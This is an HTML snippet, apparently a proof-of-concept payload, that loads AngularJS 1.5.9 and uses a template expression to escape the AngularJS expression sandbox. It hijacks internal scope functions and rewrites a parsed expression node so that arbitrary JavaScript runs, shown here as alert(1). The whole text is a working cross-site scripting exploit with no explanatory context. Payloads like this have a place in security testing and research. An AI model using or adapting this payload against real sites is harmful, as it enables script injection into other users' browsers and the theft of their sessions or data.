<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.5.9/angular.js"></script>

<div ng-app>

{{

    c=''.sub.call;b=''.sub.bind;a=''.sub.apply;

    c.$apply=$apply;c.$eval=b;op=$root.$$phase;

    $root.$$phase=null;od=$root.$digest;$root.$digest=({}).toString;

    C=c.$apply(c);$root.$$phase=op;$root.$digest=od;

    B=C(b,c,b);$evalAsync("

    astNode=pop();astNode.type='UnaryExpression';

    astNode.operator='(window.X?void0:(window.X=true,alert(1)))+';

    astNode.argument={type:'Identifier',name:'foo'};

    ");

    m1=B($$asyncQueue.pop().expression,null,$root);

    m2=B(C,null,m1);[].push.apply=m2;a=''.sub;

    $eval('a(b.c)');[].push.apply=a;

}}

</div>